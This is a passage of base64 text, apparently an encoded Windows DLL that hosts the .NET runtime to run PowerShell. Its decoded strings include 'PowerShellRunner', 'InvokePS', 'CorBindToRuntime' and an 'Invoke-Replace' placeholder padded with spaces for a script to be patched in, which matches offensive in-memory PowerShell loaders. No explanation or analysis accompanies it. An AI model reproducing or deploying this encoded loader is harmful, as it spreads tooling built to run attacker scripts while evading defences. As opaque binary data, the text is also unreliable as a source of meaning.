ADYaQGAAQAAAH4AAAAAAAAAWFcBgAEAAAAUAAAAAAAAAOhpAYABAAAAVgAAAAAAAABgVwGAAQAAABUAAAAAAAAA+GkBgAEAAABXAAAAAAAAAAhqAYABAAAAmAAAAAAAAAAYagGAAQAAAIwAAAAAAAAAKGoBgAEAAACfAAAAAAAAADhqAYABAAAAqAAAAAAAAABoVwGAAQAAABYAAAAAAAAASGoBgAEAAABYAAAAAAAAAHBXAYABAAAAFwAAAAAAAABYagGAAQAAAFkAAAAAAAAAmFgBgAEAAAA8AAAAAAAAAGhqAYABAAAAhQAAAAAAAAB4agGAAQAAAKcAAAAAAAAAiGoBgAEAAAB2AAAAAAAAAJhqAYABAAAAnAAAAAAAAACAVwGAAQAAABkAAAAAAAAAqGoBgAEAAABbAAAAAAAAAMhXAYABAAAAIgAAAAAAAAC4agGAAQAAAGQAAAAAAAAAyGoBgAEAAAC+AAAAAAAAANhqAYABAAAAwwAAAAAAAADoagGAAQAAALAAAAAAAAAA+GoBgAEAAAC4AAAAAAAAAAhrAYABAAAAywAAAAAAAAAYawGAAQAAAMcAAAAAAAAAiFcBgAEAAAAaAAAAAAAAAChrAYABAAAAXAAAAAAAAADIYgGAAQAAAOMAAAAAAAAAOGsBgAEAAADCAAAAAAAAAFBrAYABAAAAvQAAAAAAAABoawGAAQAAAKYAAAAAAAAAgGsBgAEAAACZAAAAAAAAAJBXAYABAAAAGwAAAAAAAACYawGAAQAAAJoAAAAAAAAAqGsBgAEAAABdAAAAAAAAAFBYAYABAAAAMwAAAAAAAAC4awGAAQAAAHoAAAAAAAAAuFgBgAEAAABAAAAAAAAAAMhrAYABAAAAigAAAAAAAAB4WAGAAQAAADgAAAAAAAAA2GsBgAEAAACAAAAAAAAAAIBYAYABAAAAOQAAAAAAAADoawGAAQAAAIEAAAAAAAAAmFcBgAEAAAAcAAAAAAAAAPhrAYABAAAAXgAAAAAAAAAIbAGAAQAAAG4AAAAAAAAAoFcBgAEAAAAdAAAAAAAAABhsAYABAAAAXwAAAAAAAABgWAGAAQAAADUAAAAAAAAAKGwBgAEAAAB8AAAAAAAAALhXAYABAAAAIAAAAAAAAAA4bAGAAQAAAGIAAAAAAAAAqFcBgAEAAAAeAAAAAAAAAEhsAYABAAAAYAAAAAAAAABYWAGAAQAAADQAAAAAAAAAWGwBgAEAAACeAAAAAAAAAHBsAYABAAAAewAAAAAAAADwVwGAAQAAACcAAAAAAAAAiGwBgAEAAABpAAAAAAAAAJhsAYABAAAAbwAAAAAAAACobAGAAQAAAAMAAAAAAAAAuGwBgAEAAADiAAAAAAAAAMhsAYABAAAAkAAAAAAAAADYbAGAAQAAAKEAAAAAAAAA6GwBgAEAAACyAAAAAAAAAPhsAYABAAAAqgAAAAAAAAAIbQGAAQAAAEYAAAAAAAAAGG0BgAEAAABwAAAAAAAAAGEAcgAAAAAAYgBnAAAAAABjAGEAAAAAAHoAaAAtAEMASABTAAAAAABjAHMAAAAAAGQAYQAAAAAAZABlAAAAAABlAGwAAAAAAGUAbgAAAAAAZQBzAAAAAABmAGkAAAAAAGYAcgAAAAAAaABlAAAAAABoAHUAAAAAAGkAcwAAAAAAaQB0AAAAAABqAGEAAAAAAGsAbwAAAAAAbgBsAAAAAABuAG8AAAAAAHAAbAAAAAAAcAB0AAAAAAByAG8AAAAAAHIAdQAAAAAAaAByAAAAAABzAGsAAAAAAHMAcQAAAAAAcwB2AAAAAAB0AGgAAAAAAHQAcgAAAAAAdQByAAAAAABpAGQAAAAAAHUAawAAAAAAYgBlAAAAAABzAGwAAAAAAGUAdAAAAAAAbAB2AAAAAABsAHQAAAAAAGYAYQAAAAAAdgBpAAAAAABoAHkAAAAAAGEAegAAAAAAZQB1AAAAAABtAGsAAAAAAGEAZgAAAAAAawBhAAAAAABmAG8AAAAAAGgAaQAAAAAAbQBzAAAAAABrAGsAAAAAAGsAeQAAAAAAcwB3AAAAAAB1AHoAAAAAAHQAdAAAAAAAcABhAAAAAABnAHUAAAAAAHQAYQAAAAAAdABlAAAAAABrAG4AAAAAAG0AcgAAAAAAcwBhAAAAAABtAG4AAAAAAGcAbAAAAAAAawBvAGsAAABzAHkAcgAAAGQAaQB2AAAAAAAAAAAAAABhAHIALQBTAEEAAAAAAAAAYgBnAC0AQgBHAAAAAAAAAGMAYQAtAEUAUwAAAAAAAABjAHMALQBDAFoAAAAAAAAAZABhAC0ARABLAAAAAAAAAGQAZQAtAEQARQAAAAAAAABlAGwALQBHAFIAAAAAAAAAZgBpAC0ARgBJAAAAAAAAAGYAcgAtAEYAUgAAAAAAAABoAGUALQBJAEwAAAAAAAAAaAB1AC0ASABVAAAAAAAAAGkAcwAtAEkAUwAAAAAAAABpAHQALQBJAFQAAAAAAAAAbgBsAC0ATgBMAAAAAAAAAG4AYgAtAE4ATwAAAAAAAABwAGwALQBQAEwAAAAAAAAAcAB0AC0AQgBSAAAAAAAAAHIAbwAtAFIATwAAAAAAAAByAHUALQBSAFUAAAAAAAAAaAByAC0ASABSAAAAAAAAAHMAawAtAFMASwAAAAAAAABzAHEALQBBAEwAAAAAAAAAcwB2AC0AUwBFAAAAAAAAAHQAaAAtAFQASAAAAAAAAAB0AHIALQBUAFIAAAAAAAAAdQByAC0AUABLAAAAAAAAAGkAZAAtAEkARAAAAAAAAAB1AGsALQBVAEEAAAAAAAAAYgBlAC0AQgBZAAAAAAAAAHMAbAAtAFMASQAAAAAAAABlAHQALQBFAEUAAAAAAAAAbAB2AC0ATABWAAAAAAAAAGwAdAAtAEwAVAAAAAAAAABmAGEALQBJAFIAAAAAAAAAdgBpAC0AVgBOAAAAAAAAAGgAeQAtAEEATQAAAAAAAABhAHoALQBBAFoALQBMAGEAdABuAAAAAABlAHUALQBFAFMAAAAAAAAAbQBrAC0ATQBLAAAAAAAAAHQAbgAtAFoAQQAAAAAAAAB4AGgALQBaAEEAAAAAAAAAegB1AC0AWgBBAAAAAAAAAGEAZgAtAFoAQQAAAAAAAABrAGEALQBHAEUAAAAAAAAAZgBvAC0ARgBPAAAAAAAAAGgAaQAtAEkATgAAAAAAAABtAHQALQBNAFQAAAAAAAAAcwBlAC0ATgBPAAAAAAAAAG0AcwAtAE0AWQAAAAAAAABrAGsALQBLAFoAAAAAAAAAawB5AC0ASwBHAAAAAAAAAHMAdwAtAEsARQAAAAAAAAB1AHoALQBVAFoALQBMAGEAdABuAAAAAAB0AHQALQBSAFUAAAAAAAAAYgBuAC0ASQBOAAAAAAAAAHAAYQAtAEkATgAAAAAAAABnAHUALQBJAE4AAAAAAAAAdABhAC0ASQBOAAAAAAAAAHQAZQAtAEkATgAAAAAAAABrAG4ALQBJAE4AAAAAAAAAbQBsAC0ASQBOAAAAAAAAAG0AcgAtAEkATgAAAAAAAABzAGEALQBJAE4AAAAAAAAAbQBuAC0ATQBOAAAAAAAAAGMAeQAtAEcAQgAAAAAAAABnAGwALQBFAFMAAAAAAAAAawBvAGsALQBJAE4AAAAAAHMAeQByAC0AUwBZAAAAAABkAGkAdgAtAE0AVgAAAAAAcQB1AHoALQBCAE8AAAAAAG4AcwAtAFoAQQAAAAAAAABtAGkALQBOAFoAAAAAAAAAYQByAC0ASQBRAAAAAAAAAGQAZQAtAEMASAAAAAAAAABlAG4ALQBHAEIAAAAAAAAAZQBzAC0ATQBYAAAAAAAAAGYAcgAtAEIARQAAAAAAAABpAHQALQBDAEgAAAAAAAAAbgBsAC0AQgBFAAAAAAAAAG4AbgAtAE4ATwAAAAAAAABwAHQALQBQAFQAAAAAAAAAcwByAC0AUwBQAC0ATABhAHQAbgAAAAAAcwB2AC0ARgBJAAAAAAAAAGEAegAtAEEAWgAtAEMAeQByAGwAAAAAAHMAZQAtAFMARQAAAAAAAABtAHMALQBCAE4AAAAAAAAAdQB6AC0AVQBaAC0AQwB5AHIAbAAAAAAAcQB1AHoALQBFAEMAAAAAAGEAcgAtAEUARwAAAAAAAAB6AGgALQBIAEsAAAAAAAAAZABlAC0AQQBUAAAAAAAAAGUAbgAtAEEAVQAAAAAAAABlAHMALQBFAFMAAAAAAAAAZgByAC0AQwBBAAAAAAAAAHMAcgAtAFMAUAAtAEMAeQByAGwAAAAAAHMAZQAtAEYASQAAAAAAAABxAHUAegAtAFAARQAAAAAAYQByAC0ATABZAAAAAAAAAHoAaAAtAFMARwAAAAAAAABkAGUALQBMAFUAAAAAAAAAZQBuAC0AQwBBAAAAAAAAAGUAcwAtAEcAVAAAAAAAAABmAHIALQBDAEgAAAAAAAAAaAByAC0AQgBBAAAAAAAAAHMAbQBqAC0ATgBPAAAAAABhAHIALQBEAFoAAAAAAAAAegBoAC0ATQBPAAAAAAAAAGQAZQAtAEwASQAAAAAAAABlAG4ALQBOAFoAAAAAAAAAZQBzAC0AQwBSAAAAAAAAAGYAcgAtAEwAVQAAAAAAAABiAHMALQBCAEEALQBMAGEAdABuAAAAAABzAG0AagAtAFMARQAAAAAAYQByAC0ATQBBAAAAAAAAAGUAbgAtAEkARQAAAAAAAABlAHMALQBQAEEAAAAAAAAAZgByAC0ATQBDAAAAAAAAAHMAcgAtAEIAQQAtAEwAYQB0AG4AAAAAAHMAbQBhAC0ATgBPAAAAAABhAHIALQBUAE4AAAAAAAAAZQBuAC0AWgBBAAAAAAAAAGUAcwAtAEQATwAAAAAAAABzAHIALQBCAEEALQBDAHkAcgBsAAAAAABzAG0AYQAtAFMARQAAAAAAYQByAC0ATwBNAAAAAAAAAGUAbgAtAEoATQAAAAAAAABlAHMALQBWAEUAAAAAAAAAcwBtAHMALQBGAEkAAAAAAGEAcgAtAFkARQAAAAAAAABlAG4ALQBDAEIAAAAAAAAAZQBzAC0AQwBPAAAAAAAAAHMAbQBuAC0ARgBJAAAAAABhAHIALQBTAFkAAAAAAAAAZQBuAC0AQgBaAAAAAAAAAGUAcwAtAFAARQAAAAAAAABhAHIALQBKAE8AAAAAAAAAZQBuAC0AVABUAAAAAAAAAGUAcwAtAEEAUgAAAAAAAABhAHIALQBMAEIAAAAAAAAAZQBuAC0AWgBXAAAAAAAAAGUAcwAtAEUAQwAAAAAAAABhAHIALQBLAFcAAAAAAAAAZQBuAC0AUABIAAAAAAAAAGUAcwAtAEMATAAAAAAAAABhAHIALQBBAEUAAAAAAAAAZQBzAC0AVQBZAAAAAAAAAGEAcgAtAEIASAAAAAAAAABlAHMALQBQAFkAAAAAAAAAYQByAC0AUQBBAAAAAAAAAGUAcwAtAEIATwAAAAAAAABlAHMALQBTAFYAAAAAAAAAZQBzAC0ASABOAAAAAAAAAGUAcwAtAE4ASQAAAAAAAABlAHMALQBQAFIAAAAAAAAAegBoAC0AQwBIAFQAAAAAAHMAcgAAAAAAYQBmAC0AegBhAAAAAAAAAGEAcgAtAGEAZQAAAAAAAABhAHIALQBiAGgAAAAAAAAAYQByAC0AZAB6AAAAAAAAAGEAcgAtAGUAZwAAAAAAAABhAHIALQBpAHEAAAAAAAAAYQByAC0AagBvAAAAAAAAAGEAcgAtAGsAdwAAAAAAAABhAHIALQBsAGIAAAAAAAAAYQByAC0AbAB5AAAAAAAAAGEAcgAtAG0AYQAAAAAAAABhAHIALQBvAG0AAAAAAAAAYQByAC0AcQBhAAAAAAAAAGEAcgAtAHMAYQAAAAAAAABhAHIALQBzAHkAAAAAAAAAYQByAC0AdABuAAAAAAAAAGEAcgAtAHkAZQAAAAAAAABhAHoALQBhAHoALQBjAHkAcgBsAAAAAABhAHoALQBhAHoALQBsAGEAdABuAAAAAABiAGUALQBiAHkAAAAAAAAAYgBnAC0AYgBnAAAAAAAAAGIAbgAtAGkAbgAAAAAAAABiAHMALQBiAGEALQBsAGEAdABuAAAAAABjAGEALQBlAHMAAAAAAAAAYwBzAC0AYwB6AAAAAAAAAGMAeQAtAGcAYgAAAAAAAABkAGEALQBkAGsAAAAAAAAAZABlAC0AYQB0AAAAAAAAAGQAZQAtAGMAaAAAAAAAAABkAGUALQBkAGUAAAAAAAAAZABlAC0AbABpAAAAAAAAAGQAZQAtAGwAdQAAAAAAAABkAGkAdgAtAG0AdgAAAAAAZQBsAC0AZwByAAAAAAAAAGUAbgAtAGEAdQAAAAAAAABlAG4ALQBiAHoAAAAAAAAAZQBuAC0AYwBhAAAAAAAAAGUAbgAtAGMAYgAAAAAAAABlAG4ALQBnAGIAAAAAAAAAZQBuAC0AaQBlAAAAAAAAAGUAbgAtAGoAbQAAAAAAAABlAG4ALQBuAHoAAAAAAAAAZQBuAC0AcABoAAAAAAAAAGUAbgAtAHQAdAAAAAAAAABlAG4ALQB1AHMAAAAAAAAAZQBuAC0AegBhAAAAAAAAAGUAbgAtAHoAdwAAAAAAAABlAHMALQBhAHIAAAAAAAAAZQBzAC0AYgBvAAAAAAAAAGUAcwAtAGMAbAAAAAAAAABlAHMALQBjAG8AAAAAAAAAZQBzAC0AYwByAAAAAAAAAGUAcwAtAGQAbwAAAAAAAABlAHMALQBlAGMAAAAAAAAAZQBzAC0AZQBzAAAAAAAAAGUAcwAtAGcAdAAAAAAAAABlAHMALQBoAG4AAAAAAAAAZQBzAC0AbQB4AAAAAAAAAGUAcwAtAG4AaQAAAAAAAABlAHMALQBwAGEAAAAAAAAAZQBzAC0AcABlAAAAAAAAAGUAcwAtAHAAcgAAAAAAAABlAHMALQBwAHkAAAAAAAAAZQBzAC0AcwB2AAAAAAAAAGUAcwAtAHUAeQAAAAAAAABlAHMALQB2AGUAAAAAAAAAZQB0AC0AZQBlAAAAAAAAAGUAdQAtAGUAcwAAAAAAAABmAGEALQBpAHIAAAAAAAAAZgBpAC0AZgBpAAAAAAAAAGYAbwAtAGYAbwAAAAAAAABmAHIALQBiAGUAAAAAAAAAZgByAC0AYwBhAAAAAAAAAGYAcgAtAGMAaAAAAAAAAABmAHIALQBmAHIAAAAAAAAAZgByAC0AbAB1AAAAAAAAAGYAcgAtAG0AYwAAAAAAAABnAGwALQBlAHMAAAAAAAAAZwB1AC0AaQBuAAAAAAAAAGgAZQAtAGkAbAAAAAAAAABoAGkALQBpAG4AAAAAAAAAaAByAC0AYgBhAAAAAAAAAGgAcgAtAGgAcgAAAAAAAABoAHUALQBoAHUAAAAAAAAAaAB5AC0AYQBtAAAAAAAAAGkAZAAtAGkAZAAAAAAAAABpAHMALQBpAHMAAAAAAAAAaQB0AC0AYwBoAAAAAAAAAGkAdAAtAGkAdAAAAAAAAABqAGEALQBqAHAAAAAAAAAAawBhAC0AZwBlAAAAAAAAAGsAawAtAGsAegAAAAAAAABrAG4ALQBpAG4AAAAAAAAAawBvAGsALQBpAG4AAAAAAGsAbwAtAGsAcgAAAAAAAABrAHkALQBrAGcAAAAAAAAAbAB0AC0AbAB0AAAAAAAAAGwAdgAtAGwAdgAAAAAAAABtAGkALQBuAHoAAAAAAAAAbQBrAC0AbQBrAAAAAAAAAG0AbAAtAGkAbgAAAAAAAABtAG4ALQBtAG4AAAAAAAAAbQByAC0AaQBuAAAAAAAAAG0AcwAtAGIAbgAAAAAAAABtAHMALQBtAHkAAAAAAAAAbQB0AC0AbQB0AAAAAAAAAG4AYgAtAG4AbwAAAAAAAABuAGwALQBiAGUAAAAAAAAAbgBsAC0AbgBsAAAAAAAAAG4AbgAtAG4AbwAAAAAAAABuAHMALQB6AGEAAAAAAAAAcABhAC0AaQBuAAAAAAAAAHAAbAAtAHAAbAAAAAAAAABwAHQALQBiAHIAAAAAAAAAcAB0AC0AcAB0AAAAAAAAAHEAdQB6AC0AYgBvAAAAAABxAHUAegAtAGUAYwAAAAAAcQB1AHoALQBwAGUAAAAAAHIAbwAtAHIAbwAAAAAAAAByAHUALQByAHUAAAAAAAAAcwBhAC0AaQBuAAAAAAAAAHMAZQAtAGYAaQAAAAAAAABzAGUALQBuAG8AAAAAAAAAcwBlAC0AcwBlAAAAAAAAAHMAawAtAHMAawAAAAAAAABzAGwALQBzAGkAAAAAAAAAcwBtAGEALQBuAG8AAAAAAHMAbQBhAC0AcwBlAAAAAABzAG0AagAtAG4AbwAAAAAAcwBtAGoALQBzAGUAAAAAAHMAbQBuAC0AZgBpAAAAAABzAG0AcwAtAGYAaQAAAAAAcwBxAC0AYQBsAAAAAAAAAHMAcgAtAGIAYQAtAGMAeQByAGwAAAAAAHMAcgAtAGIAYQAtAGwAYQB0AG4AAAAAAHMAcgAtAHMAcAAtAGMAeQByAGwAAAAAAHMAcgAtAHMAcAAtAGwAYQB0AG4AAAAAAHMAdgAtAGYAaQAAAAAAAABzAHYALQBzAGUAAAAAAAAAcwB3AC0AawBlAAAAAAAAAHMAeQByAC0AcwB5AAAAAAB0AGEALQBpAG4AAAAAAAAAdABlAC0AaQBuAAAAAAAAAHQAaAAtAHQAaAAAAAAAAAB0AG4ALQB6AGEAAAAAAAAAdAByAC0AdAByAAAAAAAAAHQAdAAtAHIAdQAAAAAAAAB1AGsALQB1AGEAAAAAAAAAdQByAC0AcABrAAAAAAAAAHUAegAtAHUAegAtAGMAeQByAGwAAAAAAHUAegAtAHUAegAtAGwAYQB0AG4AAAAAAHYAaQAtAHYAbgAAAAAAAAB4AGgALQB6AGEAAAAAAAAAegBoAC0AYwBoAHMAAAAAAHoAaAAtAGMAaAB0AAAAAAB6AGgALQBjAG4AAAAAAAAAegBoAC0AaABrAAAAAAAAAHoAaAAtAG0AbwAAAAAAAAB6AGgALQBzAGcAAAAAAAAAegBoAC0AdAB3AAAAAAAAAHoAdQAtAHoAYQAAAAAAAAAAAAAAAAAAAAECAwQFBgcICQoLDA0ODxAREhMUFRYXGBkaGxwdHh8gISIjJCUmJygpKissLS4vMDEyMzQ1Njc4OTo7PD0+P0BBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWltcXV5fYGFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6e3x9fn8AQwBPAE4ATwBVAFQAJAAAAEEAAAAXAAAAaK0AgAEAAABlKzAwMAAAAAAAAAAAAAAAMSNTTkFOAAAxI0lORAAAADEjSU5GAAAAMSNRTkFOAACw4gCAAQAAAAAAAAAAAAAAKQAAgAEAAAAAAAAAAAAAAAAAAAAAAAAADwAAAAAAAAAgBZMZAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABY6gCAAQAAAOB9AYABAAAA/OoAgAEAAAAEJQCAAQAAAGJhZCBleGNlcHRpb24AAABDTFJDcmVhdGVJbnN0YW5jZQAAAAAAAABDAG8AdQBsAGQAIABuAG8AdAAgAGYAaQBuAGQAIAAuAE4ARQBUACAANAAuADAAIABBAFAASQAgAEMATABSAEMAcgBlAGEAdABlAEkAbgBzAHQAYQBuAGMAZQAAAAAAAABDAEwAUgBDAHIAZQBhAHQAZQBJAG4AcwB0AGEAbgBjAGUAIABmAGEAaQBsAGUAZAAgAHcALwBoAHIAIAAwAHgAJQAwADgAbAB4AAoAAAAAAHYAMgAuADAALgA1ADAANwAyADcAAAAAAAAAAAAAAAAASQBDAEwAUgBNAGUAdABhAEgAbwBzAHQAOgA6AEcAZQB0AFIAdQBuAHQAaQBtAGUAIABmAGEAaQBsAGUAZAAgAHcALwBoAHIAIAAwAHgAJQAwADgAbAB4AAoAAAAAAAAASQBDAEwAUgBSAHUAbgB0AGkAbQBlAEkAbgBmAG8AOgA6AEkAcwBMAG8AYQBkAGEAYgBsAGUAIABmAGEAaQBsAGUAZAAgAHcALwBoAHIAIAAwAHgAJQAwADgAbAB4AAoAAAAAAAAAAAAAAAAAAAAAAC4ATgBFAFQAIAByAHUAbgB0AGkAbQBlACAAdgAyAC4AMAAuADUAMAA3ADIANwAgAGMAYQBuAG4AbwB0ACAAYgBlACAAbABvAGEAZABlAGQACgAAAAAAAAAAAAAAAAAAAEkAQwBMAFIAUgB1AG4AdABpAG0AZQBJAG4AZgBvADoAOgBHAGUAdABJAG4AdABlAHIAZgBhAGMAZQAgAGYAYQBpAGwAZQBkACAAdwAvAGgAcgAgADAAeAAlADAAOABsAHgACgAAAAAAQ29yQmluZFRvUnVudGltZQAAAAAAAAAAQwBvAHUAbABkACAAbgBvAHQAIABmAGkAbgBkACAAQQBQAEkAIABDAG8AcgBCAGkAbgBkAFQAbwBSAHUAbgB0AGkAbQBlAAAAdwBrAHMAAABDAG8AcgBCAGkAbgBkAFQAbwBSAHUAbgB0AGkAbQBlACAAZgBhAGkAbABlAGQAIAB3AC8AaAByACAAMAB4ACUAMAA4AGwAeAAKAAAAAAAAAG0AcwBjAG8AcgBlAGUALgBkAGwAbAAAAFBvd2VyU2hlbGxSdW5uZXIAAAAAAAAAAFBvd2VyU2hlbGxSdW5uZXIuUG93ZXJTaGVsbFJ1bm5lcgAAAAAAAAAAAAAAAAAAAEYAYQBpAGwAZQBkACAAdABvACAAYwByAGUAYQB0AGUAIAB0AGgAZQAgAHIAdQBuAHQAaQBtAGUAIABoAG8AcwB0AAoAAAAAAAAAAAAAAAAAQwBMAFIAIABmAGEAaQBsAGUAZAAgAHQAbwAgAHMAdABhAHIAdAAgAHcALwBoAHIAIAAwAHgAJQAwADgAbAB4AAoAAAAAAAAAAAAAAAAAAABSAHUAbgB0AGkAbQBlAEMAbAByAEgAbwBzAHQAOgA6AEcAZQB0AEMAdQByAHIAZQBuAHQAQQBwAHAARABvAG0AYQBpAG4ASQBkACAAZgBhAGkAbABlAGQAIAB3AC8AaAByACAAMAB4ACUAMAA4AGwAeAAKAAAAAAAAAAAAAAAAAEkAQwBvAHIAUgB1AG4AdABpAG0AZQBIAG8AcwB0ADoAOgBHAGUAdABEAGUAZgBhAHUAbAB0AEQAbwBtAGEAaQBuACAAZgBhAGkAbABlAGQAIAB3AC8AaAByACAAMAB4ACUAMAA4AGwAeAAKAAAAAABGAGEAaQBsAGUAZAAgAHQAbwAgAGcAZQB0ACAAZABlAGYAYQB1AGwAdAAgAEEAcABwAEQAbwBtAGEAaQBuACAAdwAvAGgAcgAgADAAeAAlADAAOABsAHgACgAAAAAAAABGAGEAaQBsAGUAZAAgAHQAbwAgAGwAbwBhAGQAIAB0AGgAZQAgAGEAcwBzAGUAbQBiAGwAeQAgAHcALwBoAHIAIAAwAHgAJQAwADgAbAB4AAoAAAAAAAAAAAAAAAAAAABGAGEAaQBsAGUAZAAgAHQAbwAgAGcAZQB0ACAAdABoAGUAIABUAHkAcABlACAAaQBuAHQAZQByAGYAYQBjAGUAIAB3AC8AaAByACAAMAB4ACUAMAA4AGwAeAAKAAAAAABJAG4AdgBvAGsAZQAtAFIAZQBwAGwAYQBjAGUAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAI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